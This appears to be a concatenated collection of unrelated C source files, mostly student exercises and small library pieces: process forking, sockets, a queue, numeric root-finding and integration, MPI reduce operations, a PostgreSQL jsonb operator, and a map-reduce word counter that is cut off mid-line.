ierr; ierr = ProcessOptions(PETSC_COMM_WORLD, &ctx);CHKERRQ(ierr); ierr = DMPlexCreateSphereMesh(PETSC_COMM_WORLD, ctx.dim, ctx.simplex, &dm);CHKERRQ(ierr); ierr = PetscObjectSetName((PetscObject) dm, "Sphere");CHKERRQ(ierr); ierr = DMSetFromOptions(dm);CHKERRQ(ierr); ierr = ProjectToUnitSphere(dm);CHKERRQ(ierr); ierr = DMViewFromOptions(dm, NULL, "-dm_view");CHKERRQ(ierr); ierr = SetupSection(dm);CHKERRQ(ierr); ierr = DMGetGlobalVector(dm, &u);CHKERRQ(ierr); ierr = VecSet(u, 2);CHKERRQ(ierr); ierr = VecViewFromOptions(u, NULL, "-vec_view");CHKERRQ(ierr); ierr = DMRestoreGlobalVector(dm, &u);CHKERRQ(ierr); ierr = DMDestroy(&dm);CHKERRQ(ierr); ierr = PetscFinalize(); return ierr; } /*TEST test: suffix: 2d_quad requires: !__float128 args: -dm_view test: suffix: 2d_tri requires: !__float128 args: -simplex -dm_view test: suffix: 3d_tri requires: !__float128 args: -dim 3 -simplex -dm_view TEST*/
C
// Chapter 5 Question 2 #include <unistd.h> #include <fcntl.h> #include <sys/wait.h> int main(void) { int fd; fd = open("output.txt", O_CREAT|O_TRUNC|O_WRONLY, 0666); // open a file for writing // Create a new process by fork if(!fork()) { // child write(fd, "Child is writing\n", 17); _exit(0); } else { // parent wait(NULL); write(fd, "Parent is writing\n", 18); close(fd); // close the file } } /* Yes, When a fork call happens the fd value in both processes is the same. The Fd value is nothing but a reference in both programs for the file description(a type of struct) So Whatever they try to do using fd, happens on the same File description. In above code, Parent wait for child to complete, so child writes, and then parent writes on the same file. Parent closes the descriptor, which means fileDescriptor entry is removed from fileDescription table. */
C
/* ** char_function.c for my_irc in /home/noel_h/rendu/PSU_2014_myirc/src_server ** ** Made by Pierre NOEL ** Login <[email protected]> ** ** Started on Fri Apr 10 16:31:41 2015 Pierre NOEL ** Last update Tue Apr 14 15:28:29 2015 Pierre NOEL */ #include <math.h> #include "server.h" static void function_usual(unsigned int i, unsigned int nb, char *str, unsigned int j) { unsigned int tmp; unsigned int tmp2; unsigned int power; power = ((unsigned int)pow(10, i)); if (power > 0) { tmp = nb / power; tmp2 = nb % power; str[j] = tmp + '0'; str[j + 1] = 0; if (i >= 1) function_usual(i - 1, tmp2, str, j + 1); } } char *uint_to_char(unsigned int nb) { unsigned int i; char *result; unsigned int tmp; if ((result = malloc(10)) == NULL) { fprintf(stderr, "Malloc failed"); return (NULL); } i = 0; tmp = nb; while (tmp) { i++; tmp /= 10; } function_usual(i - 1, nb, result, 0); return (result); } char *append_two(char *str, char *str2) { char *result; result = malloc(strlen(str) + strlen(str2) + 1); if (result == NULL) my_error("Malloc failed", 0); result[0] = 0; result = strcat(result, str); result = strcat(result, str2); return (result); } char **concatDoubleChar(char **src, char **dest) { int i; int j; i = 0; j = 0; while (dest[i] != NULL) i++; while (src[j] != NULL) { dest[i] = strdup(src[j]); i++; j++; } dest[i] = NULL; return (dest); } void free_my_double_char(char **str) { int i; i = 0; while (str[i] != NULL) { free(str[i]); i++; } free(str); }
C
#include <stdio.h> #include <stdlib.h> #include <arpa/inet.h> void error_handling(char * message); int main(int argc, char *argv[]) { struct sockaddr_in addr_inet; if( argc !=2){ printf("Usage: %s <IP> \n", argv[0]); exit(1); } if(!inet_aton(argv[1],&addr_inet.sin_addr)) error_handling("Conversion error"); else printf("Network ordered integer addr: %#x \n", addr_inet.sin_addr.s_addr); return 0; } void error_handling(char * message) { fputs(message, stderr); fputc('\n',stderr); exit(1); }
C
#include<stdio.h> void main(){ int i=1, num, result=0; printf("Digite 10 números: \n \n"); while(i<=10){ printf("Número %d: ", i); scanf("%d", &num); result += num; i++; } printf("Resultado: %d", result); }
C
extern double f1(double); extern double f2(double); extern double f3(double); #include <stdio.h> #include <stdlib.h> #include <string.h> #include <math.h> #include "function.h" #define e1 1e-4 #define e2 1e-4 #define start_a -2 #define start_b 2 typedef double (*func) (double x); static int num; static double nothing(double x) { return 0.0; } static double root(func f, func g, double a, double b, double eps) { num = 0; while (num < 100) { double c = ((f(a) - g(a)) * b - (f(b) - g(b)) * a) / (f(a) - g(a) - f(b) + g(b)); if ((f(c) - g(c)) * (f(a) - g(a)) > 0) { a = c; } else { b = c; } if (fabs(f(c) - g(c)) < eps) { return c; } num++; } if (num == 100) { printf("ROOT NOT FOUND\n"); exit(0); } return a; } static double integrate_n_steps(func f, double a, double b, int n, double last_n) { double res = last_n / 2.0; for (int i = 1; i < n; i += 2) { double x1 = a + (b - a) / (double)(n) * (double)(i); res += f(x1) * (b - a) / (double)(n); // (b-a) / double(n) } // f(x1) return res; } static double integral(func f, double a, double b, double eps) { int n = 1; double n_steps = (f1(a) + f1(b)) / 2.0 * (b - a); while (1) { double n_steps_2 = integrate_n_steps(f, a, b, 2 * n, n_steps); if (fabs(n_steps - n_steps_2) < eps) break; n_steps = n_steps_2; n *= 2; } return n_steps; } static double test(func f, double x) { return f(x); } int main(int argc, char** argv) { double point_f1_f2 = root(f1, f2, start_a, start_b, e1); int num_f1_f2 = num; double point_f1_f3 = root(f1, f3, start_a, start_b, e1); int num_f1_f3 = num; double point_f2_f3 = root(f2, f3, start_a, start_b, e1); int num_f2_f3 = num; for (int i = 1; i < argc; i++) { if (!strcmp(argv[i], "-help")) { printf("Command list:\n"); printf("-valuesofx: printf X coordinates of intersections points\n"); printf("-valuesofy: printf Y coordinates of intersections points\n"); printf("-numbers: printf numbers of actions needed to find coordinates\n"); printf("-test-i {1,2,3} l r: get the integral of function (either 1, 2 or 3) on the bounds [start_x; end_x]\n"); printf("-test-f\n"); } else if (!strcmp(argv[i], "-valuesofx")) { printf("y = f1(x) and y = f2(x) intersection X coordinate - %lf\n", point_f1_f2); printf("y = f1(x) and y = f3(x) intersection X coordinate - %lf\n", point_f1_f3); printf("y = f2(x) and y = f3(x) intersection X coordinate - %lf\n", point_f2_f3); } else if (!strcmp(argv[i], "-valuesofy")) { printf("y = f1(x) and y = f2(x) intersection Y coordinate - %lf\n", f1(point_f1_f2)); printf("y = f1(x) and y = f3(x) intersection Y coordinate - %lf\n", f1(point_f1_f3)); printf("y = f2(x) and y = f3(x) intersection Y coordinate - %lf\n", f2(point_f2_f3)); }else if (!strcmp(argv[i], "-numbers")) { printf("y = f1(x) and y = f2(x) numbers to find the intersection points - %d\n", num_f1_f2); printf("y = f1(x) and y = f3(x) numbers to find the intersection points - %d\n", num_f1_f3); printf("y = f2(x) and y = f3(x) numbers to find the intersection points - %d\n", num_f2_f3); }else if(!strcmp(argv[i], "-test-f")) { int number = atoi(argv[++i]); if (number != 1 && number != 2 && number != 3){ printf("Invalid function numbers, pls print only 1 or 2 or 3\n"); exit(0); } double x = atof(argv[++i]); double res; if (number == 1) res = test(f1, x); else if (number == 2) res = test(f2, x); else if (number == 3) res = test(f3, x); printf("f%d(x) = %lf\n", number, res); }else if (!strcmp(argv[i], "-test-i")) { // test integral function // get the number of function from the next argument int number = atoi(argv[++i]); if (number != 1 && number != 2 && number != 3){ printf("Invalid function numbers, pls print only 1 or 2 or 3\n"); exit(0); } double a = atof(argv[++i]); //left boundary of a line double b = atof(argv[++i]); //right boundary of a line double res; //integral function - f from a to b of line if (number == 1) res = integral(f1, a, b, e2); else if (number == 2) res = integral(f2, a, b, e2); else if (number == 3) res = integral(f3, a, b, e2); printf("integral function - f from %lf to %lf - %lf\n", a, b, res); }else if (!strcmp(argv[i], "-test-r")) { // test root function // get the number of function from the next argument int number = atoi(argv[++i]); if (number != 1 && number != 2 && number != 3){ printf("Invalid function numbers, pls print only 1 or 2 or 3\n"); exit(0); } printf("You choose the function number %d\n", number); func f; if (number == 1) f = f1; else if (number == 2) f = f2; else if (number == 3) f = f3; // get next arguments double a = atof(argv[++i]); double b = atof(argv[++i]); double result = root(f, nothing, a, b, e2); printf("Root of function from %lf to %lf is %lf\n", a, b, result); } } double s1 = integral(f1, point_f1_f3, point_f2_f3, e2) - integral(f3, point_f1_f3, point_f2_f3, e2); double s2 = integral(f1, point_f2_f3, point_f1_f2, e2) - integral(f2, point_f2_f3, point_f1_f2, e2); printf("S1 - left part of the figure = %lf\n", s1); printf("S2 - right part of the figure = %lf\n", s2); printf("S - total are = %lf\n", s1 + s2); return 0; }
C
#include <stdio.h> #include <unistd.h> #include <sys/time.h> #include <sys/select.h> #define BUF_SIZE 30 int main(int argc, char *argv[]) { fd_set reads, temps; int result, str_len; char buf[BUF_SIZE]; struct timeval timeout; FD_ZERO(&reads); FD_SET(0, &reads); // 0 is standard input(console) /* timeout.tv_sec=5; timeout.tv_usec=5000; */ while(1) { temps=reads; timeout.tv_sec=5; timeout.tv_usec=0; result=select(1, &temps, 0, 0, &timeout); if(result==-1) { puts("select() error!"); break; } else if(result==0) { puts("Time-out!"); } else { if(FD_ISSET(0, &temps)) { str_len=read(0, buf, BUF_SIZE); buf[str_len]=0; printf("message from console: %s", buf); } } } return 0; }
C
/** @file @brief This file is used so that implementations of the storage functions exist for Consumers and Providers. Since storage is not used by the libraries in these instances, functionality does not matter. Not using the actual implementation saves significant size because the storage library is not included. Ideally `libeacof` will be compiled such that this file is not required. @see lib/ca/storage.c for full documentation of contained functions. */ #include <eacof/storage.h> /** Initialises the EACOF storage system. */ int eacof_initStorage() { return EACOF_OK; } /** Stores a newly created Probe */ int eacof_storageCreateProbe(eacof_Probe *probe) { (void)(probe); return EACOF_OK; } /** Fills in a Probe struct with information about it. The information is from the DB, with values being based on the uid of the passed struct */ int eacof_storageSelectProbe(eacof_Probe *probe, eacof_Sample *sample) { (void)(probe); (void)(sample); return EACOF_OK; } /** Updates whether or not a Probe is active */ int eacof_storageSetProbeActiveStatus(eacof_Probe *probe) { (void)(probe); return EACOF_OK; } /** Increases the sample for a probe with the given ID */ int eacof_storageAddSample(eacof_Sample increase, eacof_ProbeID probeid) { (void)(increase); (void)(probeid); return EACOF_OK; } /** Deletes a Probe with the passed uid */ int eacof_storageDeleteProbe(eacof_ProbeID probeid) { (void)(probeid); return EACOF_OK; } /** Decides which Probe should be used for a given Checkpoint. */ int eacof_storageLinkProbeToCheckpoint(eacof_Checkpoint *checkpoint) { (void)(checkpoint); return EACOF_OK; } /** Samples a Checkpoint, updating it with the sample reading since the last time it was checked. */ int eacof_storageSampleCheckpoint(eacof_Checkpoint *checkpoint, eacof_Sample *currentSample) { (void)(checkpoint); (void)(currentSample); return EACOF_OK; } /** Stores a newly created Checkpoint */ int eacof_storageCreateCheckpoint(eacof_Checkpoint *checkpoint) { (void)(checkpoint); return EACOF_OK; } /** Fills in a Checkpoint struct with information about it. The information is from the DB, with values being based on the uid of the passed struct */ int eacof_storageSelectCheckpoint(eacof_Checkpoint *checkpoint) { (void)(checkpoint); return EACOF_OK; } /** Deletes a Checkpoint with the passed uid */ int eacof_storageDeleteCheckpoint(eacof_CheckpointID checkpointid) { (void)(checkpointid); return EACOF_OK; } /** Closes the storage system */ int eacof_freeStorage() { return EACOF_OK; }
C
/* This is the Parker benchmark as presented in Figure 1 of the paper MAHA: a program for datapath synthesis Alice C. Parker, Jorge T. Pizarro, Mitch Mlinar, Design Automation Conference, 1986 However, the version used here is from parker1986.hc of the HLSynth91 benchmark suite - the modification is that all the conditions have been made independent of any other operation - because other HLS systems do not even consider that the comparisons take any time */ int parker(int in1, int in2, int in3, int in4, int in5, int in6) { int out1; int t1, t2, t3, t4, t5, t6, t7; t1 = in5 - in6; t2 = in2 + in3; if (in5 != 0) { if (t2 != 0) { t3 = in1 - 4; if (t3 != 0) t4 = in2 + 4; else t4 = in3 - in5; } else { t3 = in4 - 5; t5 = t3+5; if (t5 != 0) t6 = in1+in2; else { t7 = in1 - in2; t6 = t7 - in1; } t4 = t6 - in4; } t6 = t4+in4; } else { if (t1 != 0) t6 = in2 + 5; else t6 = 8 - in4; } if (t6 != 0) out1 = in1 - 5; else out1 = 8 + in5; return out1; }
C
#ifndef VARIADICFUNCTIONS_H #define VARIADICFUNCTIONS_H #include <stdarg.h> #include <stdio.h> #include <stdlib.h> int _putchar(char c); int sum_them_all(const unsigned int n, ...); void print_numbers(const char *separator, const unsigned int n, ...); void print_strings(const char *separator, const unsigned int n, ...); void print_all(const char * const format, ...); /** * struct input - function that compare with the input^ * @a: char^ * @fun: fun^ **/ typedef struct input { char a; void (*fun)(va_list); } ty; #endif
C
#include<stdio.h> int main(void) { int ch = 'A'; for (int n = 0; n < 6; n++) { for (int m = 0; m < n + 1; m++) printf("%c", ch++); printf("\n"); } return 0; }
C
/** * \file philosopher.c * \brief blabla * \author Adrien Forest * \version 0.1 * \date 26 mai 2010 */ #ifndef __PHILOSOPHER_H #define __PHILOSOPHER_H /** * Process used as a master for the philosoophers to manange the communications and the forks * \param argc nombre d'arguments * \param argv arguments */ void waiter(int argc, char *argv[]); /** * Process used as a philosoopher who wants to take two forks and eat. * \param argc nombre d'arguments * \param argv arguments */ void philosopher(int argc, char *argv[]); /** * Program that implements the dining philospher problem * \param argc nombre d'arguments * \param argv arguments */ void dining_philosopher(int argc, char *argv[]); /** * Specifies whether the process can take its left/right fork or not. * \param argc nombre d'arguments * \param argv arguments */ bool can_take_fork(int index, int philo_pid, int *forks, int *forks_taken, int nb_philo, int rlflag); /** * Generate a random number with two numbers * \param argc nombre d'arguments * \param argv arguments */ int random(int a, int b); bool left_fork(int index,int philo_pid, int* fork, int* forks_taken, int num_philo); /* check if philo_pid can take its right fork. Returns 1 if he can, 0 otherwise */ bool right_fork(int index, int philo_pid, int* fork, int* forks_taken); /* Looks into the philos_pid array in order to find philo_pid. Once found, it returns the index, that is the philo_id */ int get_philo_id(int philo_pid, int* philos_pid, int num_philo); #endif //__PHILOSOPHER_H
C
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/types.h> int main(int argc, char **argv) { int read_fd = 0, write_fd = 0; int i = 0; char buf[] = {'a', '\0'}; if(argc != 3) { fprintf(stderr, "Incorrect number of arguments passed to ping\n"); exit(EXIT_FAILURE); } read_fd = atoi(argv[1]); write_fd = atoi(argv[2]); while(i < 5) { write(write_fd, buf, 2); read(read_fd, buf, 2); printf("%d: Read %s from parent\n", getpid(), buf); i++; sleep(1); } close(write_fd); close(read_fd); exit(EXIT_SUCCESS); }
C
#include <stdio.h> #include <malloc.h> struct Queue { int val; struct Queue *next; }; typedef struct Queue N; N *front = NULL, *rear = NULL, *ptr; void Insert() { ptr = (N *)malloc(sizeof(N)); printf("Enter value : "); scanf("%d",&ptr->val); ptr->next = NULL; if(front == NULL) { front = ptr; rear = ptr; front->next = NULL; rear->next = NULL; } else { rear->next = ptr; rear = ptr; rear->next = NULL; } } void Delete() { if(front == NULL) { printf("\nUnderflow\n"); return; } ptr = front; front = front->next; free(ptr); } void Display() { ptr = front; while(ptr!=rear) { printf("%d ",ptr->val); ptr = ptr->next; } } int main() { int ch; do { printf("\n\tM.E.N.U.\n=======================\n"); printf("\n1.....Insert."); printf("\n2.....Delete."); printf("\n3.....Display."); printf("\n4.....Exit."); printf("\nEnter your choice : "); scanf("%d", &ch); switch (ch) { case 1: Insert(); break; case 2: Delete(); break; case 3: Display(); break; case 4: printf("\nEnd of Program\n"); break; default: printf("\nInvalid Input!!\n"); break; } } while (ch != 4); return 0; }
C
/*find number of words in a sentence*/ #include <stdio.h> #include <string.h> int main() { char s[200]; int count = 0, i,flag= 1; scanf("%[^\n]*c",s); for (i = 0;s[i] != '\0';i++) { if (s[i] == ' ') { if (flag==0) { count++; flag = 1; } } else flag= 0; } if (flag==0) ++count; printf("%d", count); return(0); }
C
/* * jsonb_delete.c * Test jsonb delete operator functions for 9.4+ * * Portions Copyright (c) 1996-2016, PostgreSQL Global Development Group * Portions Copyright (c) 1994, Regents of the University of California * Author: Glyn Astill <[email protected]> * */ #include "postgres.h" #include "fmgr.h" #include "utils/jsonb.h" #include "utils/builtins.h" #include "jsonb_delete.h" #ifdef PG_MODULE_MAGIC PG_MODULE_MAGIC; #endif Datum jsonb_delete_jsonb(PG_FUNCTION_ARGS); PG_FUNCTION_INFO_V1(jsonb_delete_jsonb); /* * Operator function to delete top level keys and values from left operand * where a match is found in the right operand. * * jsonb, jsonb -> jsonb * */ Datum jsonb_delete_jsonb(PG_FUNCTION_ARGS) { Jsonb *jb1 = PG_GETARG_JSONB(0); Jsonb *jb2 = PG_GETARG_JSONB(1); JsonbValue *res = NULL; JsonbParseState *state = NULL; JsonbIterator *it, *it2; JsonbValue v, v2; JsonbValue key; JsonbValue *lookup = NULL; int32 r, r2; bool push = true; /* check if right jsonb is empty and return left if so */ if (JB_ROOT_COUNT(jb2) == 0) PG_RETURN_JSONB(jb1); it = JsonbIteratorInit(&jb1->root); while ((r = JsonbIteratorNext(&it, &v, true)) != WJB_DONE) { push = true; switch (r) { case WJB_BEGIN_ARRAY: case WJB_BEGIN_OBJECT: case WJB_END_ARRAY: case WJB_END_OBJECT: res = pushJsonbValue(&state, r, NULL); break; case WJB_ELEM: if (v.type == jbvBinary) { it2 = JsonbIteratorInit(&jb2->root); while ((r2 = JsonbIteratorNext(&it2, &v2, true)) != WJB_DONE) { if (v2.type == jbvBinary && v2.val.binary.len == v.val.binary.len && memcmp(v2.val.binary.data, v.val.binary.data, v2.val.binary.len) == 0) { push = false; break; } } } else if (findJsonbValueFromContainer(&jb2->root, JB_FARRAY, &v) != NULL) push = false; if (push) { if (v.type == jbvBinary) res = pushJsonbBinary(&state, v.val.binary.data); else res = pushJsonbValue(&state, WJB_ELEM, &v); } break; case WJB_KEY: lookup = findJsonbValueFromContainer(&jb2->root, JB_FOBJECT, &v); key = v; r = JsonbIteratorNext(&it, &v, true); Assert(r == WJB_VALUE); if (lookup != NULL && lookup->type == v.type) { switch (lookup->type) { /* Nulls within json are equal, but should not be equal to SQL nulls */ case jbvNull: push = false; break; case jbvNumeric: if (DatumGetBool(DirectFunctionCall2(numeric_eq, PointerGetDatum(lookup->val.numeric), PointerGetDatum(v.val.numeric)))) push = false; break; case jbvString: if ((lookup->val.string.len == v.val.string.len) && (memcmp(lookup->val.string.val, v.val.string.val, lookup->val.string.len) == 0)) push = false; break; case jbvBinary: if ((lookup->val.binary.len == v.val.binary.len) && (memcmp(lookup->val.binary.data, v.val.binary.data, lookup->val.binary.len) == 0)) push = false; break; case jbvBool: if (lookup->val.boolean == v.val.boolean) push = false; break; default: ereport(ERROR, (errcode(ERRCODE_SUCCESSFUL_COMPLETION), errmsg("unrecognized lookup type: %d", (int) lookup->type))); /* inner switch end */ } } if (push) { res = pushJsonbValue(&state, WJB_KEY, &key); /* if our value is nested binary data, iterate separately pushing each val */ if (v.type == jbvBinary) res = pushJsonbBinary(&state, v.val.binary.data); else res = pushJsonbValue(&state, r, &v); } break; case WJB_VALUE: /* should not be possible */ default: elog(ERROR, "impossible state: %d", r); /* switch end */ } } if (JB_ROOT_IS_SCALAR(jb1) && !res->val.array.rawScalar && res->val.array.nElems == 1) res->val.array.rawScalar = true; PG_FREE_IF_COPY(jb1, 0); PG_FREE_IF_COPY(jb2, 1); PG_RETURN_JSONB(JsonbValueToJsonb(res)); }
C
#include <stdio.h> void print_array_double(const double * ar, int n); void print_array_double_2D(const double ar[][5], int n); void array_multiply_2_double(double ar[][5], int n); int main(void) { double array[3][5] = { { 1.3, 3.4, 8.9, 2.9, 2.9 }, { 2.9, 2.9, 1.9, 3.8, 9.9 }, { 2.9, 8.7, 2.9, 9.6, 2.7 } }; print_array_double_2D(array, 3); array_multiply_2_double(array, 3); print_array_double_2D(array, 3); return 0; } void print_array_double(const double * ar, int n) { while (n-- > 0) printf("%.2f ", *ar++); printf("\n"); return; } void print_array_double_2D(const double ar[][5], int n) { for (int i = 0; i < n; ++i) print_array_double(ar[i], 5); printf("\n"); return; } void array_multiply_2_double(double ar[][5], int n) { for (int i = 0; i < n; ++i) for (int j = 0; j < 5; ++j) ar[i][j] *= 2; return; }
C
#include "flags.h" #include <stdio.h> #include <stdlib.h> #include <netdb.h> #include <string.h> #include <unistd.h> #include <errno.h> #include "shared.h" #include "types.h" #include "debugging.h" #include "operation.h" #include "reduce_ops.h" #include "impi.h" // NOTE: this is the underlying MPI #include "mpi.h" static operation *ops[MAX_OPERATIONS]; static int next_operation = 0; static int init_operation(MPI_Op op, IMPI_Op index, MPI_User_function *function, int commute) { if (index < 0 || index > MAX_OPERATIONS) { IERROR(1, "Failed to initialize operations -- index %d out of bounds!\n", index); return IMPI_ERR_INTERN; } if (ops[index] != NULL) { IERROR(1, "Failed to initialize operations -- index %d already in use!\n", index); return IMPI_ERR_INTERN; } ops[index] = malloc(sizeof(operation)); if (ops[index] == NULL) { IERROR(1, "Failed to initialize operations -- cannot allocate operation %d!\n", index); return IMPI_ERR_INTERN; } ops[index]->function = function; ops[index]->commute = commute; ops[index]->index = index; ops[index]->op = op; if (index >= next_operation) { next_operation = index+1; } return IMPI_SUCCESS; } int init_operations() { int i, error; for (i=0;i<MAX_OPERATIONS;i++) { ops[i] = NULL; } error = init_operation(MPI_OP_NULL, IMPI_OP_NULL, NULL, 1); if (error != IMPI_SUCCESS) return error; error = init_operation(MPI_MAX, IMPI_MAX, MAGPIE_MAX, 1); if (error != IMPI_SUCCESS) return error; error = init_operation(MPI_MIN, IMPI_MIN, MAGPIE_MIN, 1); if (error != IMPI_SUCCESS) return error; error = init_operation(MPI_SUM, IMPI_SUM, MAGPIE_SUM, 1); if (error != IMPI_SUCCESS) return error; error = init_operation(MPI_PROD, IMPI_PROD, MAGPIE_PROD, 1); if (error != IMPI_SUCCESS) return error; error = init_operation(MPI_MAXLOC, IMPI_MAXLOC, MAGPIE_MAXLOC, 1); if (error != IMPI_SUCCESS) return error; error = init_operation(MPI_MINLOC, IMPI_MINLOC, MAGPIE_MINLOC, 1); if (error != IMPI_SUCCESS) return error; error = init_operation(MPI_BOR, IMPI_BOR, MAGPIE_BOR, 1); if (error != IMPI_SUCCESS) return error; error = init_operation(MPI_BAND, IMPI_BAND, MAGPIE_BAND, 1); if (error != IMPI_SUCCESS) return error; error = init_operation(MPI_BXOR, IMPI_BXOR, MAGPIE_BXOR, 1); if (error != IMPI_SUCCESS) return error; error = init_operation(MPI_LOR, IMPI_LOR, MAGPIE_LOR, 1); if (error != IMPI_SUCCESS) return error; error = init_operation(MPI_LAND, IMPI_LAND, MAGPIE_LAND, 1); if (error != IMPI_SUCCESS) return error; error = init_operation(MPI_LXOR, IMPI_LXOR, MAGPIE_LXOR, 1); if (error != IMPI_SUCCESS) return error; return IMPI_SUCCESS; } operation *get_operation(IMPI_Op op) { if (op == IMPI_OP_NULL) { return NULL; } return get_operation_with_index(op); } operation *get_operation_with_index(int index) { if (index < 0 || index >= MAX_OPERATIONS) { ERROR(1, "Failed to retrieve operation, index %d out of bounds\n", index); return NULL; } return ops[index]; } void set_operation_ptr(IMPI_Op *dst, operation *src) { *dst = src->index; } #if 0 NOT SUPPORTED operation *create_operation(MPI_User_function *function, int commute) { int error; MPI_Op op; operation *result; if (next_operation >= MAX_OPERATIONS) { IERROR(1, "Failed to create operation -- max operations %d reached!\n", MAX_OPERATIONS); return NULL; } if (ops[next_operation] != NULL) { IERROR(1, "Failed to create operation -- index %d already in use!\n", next_operation); return NULL; } error = PMPI_Op_create(function, commute, &op); if (error != MPI_SUCCESS) { ERROR(1, "Failed to create operation -- cannot create MPI operation!\n"); return NULL; } result = malloc(sizeof(operation)); if (result == NULL) { IERROR(1, "Failed to create operation -- cannot allocate operation %d!\n", next_operation); PMPI_Op_free(&op); return NULL; } result->function = function; result->commute = commute; result->index = next_operation; result->op = op; ops[next_operation++] = result; return result; } void free_operation(operation *op) { int index = op->index; if (ops[index] == NULL) { return; } PMPI_Op_free(&ops[index]->op); free(ops[index]); ops[index] = NULL; } #endif
C
#include<stdio.h> int main(){ int a, b, c, i; scanf("%d%d%d", &a,&b,&c); for(i=10;i<=100;i++){ if((i%3==a)&&(i%5==b)&&(i%7==c)) { printf("%d",i); return 0 ; } } printf("No answer"); return 0; }
C
#include "lists.h" /** * add_nodeint - Adds an element to the list * @head: A double pointer to the list * @n: The elements that will take the nodes * Return: Always 0. */ listint_t *add_nodeint(listint_t **head, const int n) { listint_t *add; add = malloc(sizeof(listint_t)); if (add == NULL) return (NULL); add->n = n; add->next = *head; *head = add; return (add); }
C
#include <string.h> #include <pthread.h> #include <stdlib.h> #include <sys/shm.h> #include <sys/stat.h> #include <sys/mman.h> #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #include <sys/ipc.h> #include <sys/shm.h> #include <fcntl.h> //Dynamic array for storing the tokens after parsing input but before mapping to vectors //Doubles in size when capacity is reached //char** array points to an growing array of char* in the heap which in turn point to tokens as null-terminated strings //static pthread_mutex_t lock; typedef struct TokenList{ int length; int size; int capacity; char** array; }toklist; //Initiates an empty token list in the heap of length initlen returns a pointer to it toklist* createTokList(int initlen){ toklist* newlist = (toklist*)malloc(sizeof(toklist)); newlist->length = 0; newlist->size =0; newlist->capacity = initlen; newlist->array = (char**)malloc(initlen*sizeof(char*));//changed newlist.array to newlist->array return newlist; } // Doubles the length of the token list at the address toklist* points to // by allocating twice the size copying over existing data and then freeing the old array void expandTokArray(toklist* tlist){ char** newarr = (char**)malloc(tlist->capacity*2*sizeof(char*)); memcpy(newarr,tlist->array,tlist->capacity*sizeof(char*)); tlist->array = newarr; tlist->capacity *= 2; } //Adds a new entry to the token list void addToTokenlist(toklist* tlist,char* token){ if(tlist->length+1>tlist->capacity){ expandTokArray(tlist); } char* newtoken = (char*)malloc(strlen(token)+1); strcpy(newtoken,token); tlist->size += strlen(newtoken); tlist->size += strlen(" "); tlist->size += sizeof(int); //free(token); //printf("%s\n",newtoken); tlist->array[tlist->length]=newtoken; tlist->length++; return; } //Basic struct to store key/value pairing of word to its count typedef struct WordVector{ char* word; int count; }wordvec; //Dynamic array for storing vector structs //Doubles in size when capacity is reached typedef struct VectorList{ int length; int capacity; wordvec* array; pthread_mutex_t lock; }veclist; // Constructor for VectorList veclist* createVecList(int initlen){ veclist* newlist = (veclist*)malloc(sizeof(veclist)); newlist->length = 0; newlist->capacity = initlen; newlist->array = (wordvec*)malloc(initlen*sizeof(wordvec));//malloc is casted to char** but newlist->array is a char*. why? return newlist; } // Doubles the vector arrays capacity void expandVecArray(veclist* vlist){ wordvec* newarr = (wordvec*)malloc(vlist->capacity*2*sizeof(wordvec)); memcpy(newarr,vlist->array,vlist->capacity*sizeof(wordvec)); free(vlist->array); vlist->array = newarr; vlist->capacity *= 2; } // Adds token to VecList vlist void addToktoVecList(veclist* vlist,char* token){ pthread_mutex_lock(&vlist->lock); if(vlist->length+1>vlist->capacity){ expandVecArray(vlist);//expandTokArray takes a toklist, but is give a vlist??? why?? 2ND EDIT, CHANGED EXPANDTOCLIST TO EXPANDVECARRAY } wordvec* newvec = vlist->array+vlist->length; newvec->word = token; newvec->count = 1; vlist->length++; pthread_mutex_unlock(&vlist->lock); return; } //Converts all characters in token to lowercase char* toLowerToken(char* token){ char *letter = token; for(; *letter; letter++){ *letter = tolower((unsigned char) *letter); } return token; } // Trims the whitespace and allocates for the new token char* trimToken(char* token){ char* start = token; while(*start&&isspace(*start)){ start++; } if(!*start) return NULL; char* end = token + strlen(token)-1; while(isspace(*end)){ end--; } size_t length = end - start +1; char* newtoken = malloc(length+1); memcpy(newtoken,start,length); newtoken[length] = 0; return newtoken; } void RemoveSpaces(char* source) { char* i = source; char* j = source; while(*j != 0) { *i = *j++; if(*i != ' ') i++; } *i = 0; } //Returns parsed input file toklist* wcParseInput(char* inputfile){ FILE* file = fopen(inputfile,"r"); char buffer[1024]; char *tok; toklist * tokenList = createTokList(100); while(fgets(buffer, 1024, file)!=NULL){ tok = strtok(buffer,"-.,;:!-\r\t\n "); while(tok!=NULL){ //lowercase strtok tok = toLowerToken(tok); RemoveSpaces(tok); // printf("%s %i\n", tok,strlen(tok)); //strip white space from token if(tok==0) continue; addToTokenlist(tokenList, tok); tok = strtok(NULL, "-.,;:!- \r\t\n "); } } return tokenList; } //splits the vector list between the tasks void divideVecList(veclist* vlist,int n_reduces){ int remaining = vlist->length; if(n_reduces>remaining){ return;//Error } } // Struct to hold the meta-data for the individual mapping tasks typedef struct wordCountMap{ int s; int e; toklist * tokenlist; veclist* vecarr; }wordCountMap; // Constructor for the wordCountMap struct wordCountMap* createWordCountMap(int start, int end, toklist* tokenlist, veclist* vecarr){ wordCountMap * count = (wordCountMap*)malloc(sizeof(wordCountMap)); count->s = start; count->e = end; count->tokenlist = tokenlist; count->vecarr = vecarr; return count; } void* mapThread(void* arg){ wordCountMap* tmp = (wordCountMap*)arg; int i = tmp->s; for(i=tmp->s; i<tmp->e; i++){ addToktoVecList(tmp->vecarr,tmp->tokenlist->array[i]); } } // Struct to hold the meta-data for the individual reduce tasks typedef struct wordCountReduce{ int s; int e; veclist* master; veclist* vecarr; }wordCountReduce; // Constructor for the wordCountReduce struct wordCountReduce* createWordCountReduce(int start, int end, veclist* master){ wordCountReduce * count = (wordCountReduce*)malloc(sizeof(wordCountReduce)); count->s = start; count->e = end; count->master = master; count->vecarr = createVecList(50); return count; } void* reduceThread(void* arg){ int count = 0; wordCountReduce *tmp = (wordCountReduce*)arg; addToktoVecList(tmp->vecarr,tmp->master->array[tmp->s].word); int i = tmp->s; for(;i<tmp->e-1; i++){ if(strcmp(tmp->master->array[i].word,tmp->master->array[i+1].word)==0){ tmp->vecarr->array[count].count ++;// tmp->master->array[i].count+1; }else{ addToktoVecList(tmp->vecarr,tmp->master->array[i+1].word); count++; } } //pthread_exit((void*) tmp); return NULL; } void reduceProc(int start, int end,int length){ int count = 1; int where =start; int afterReduce_fd=shm_open("afterreduce",O_CREAT | O_RDWR, 0666); char 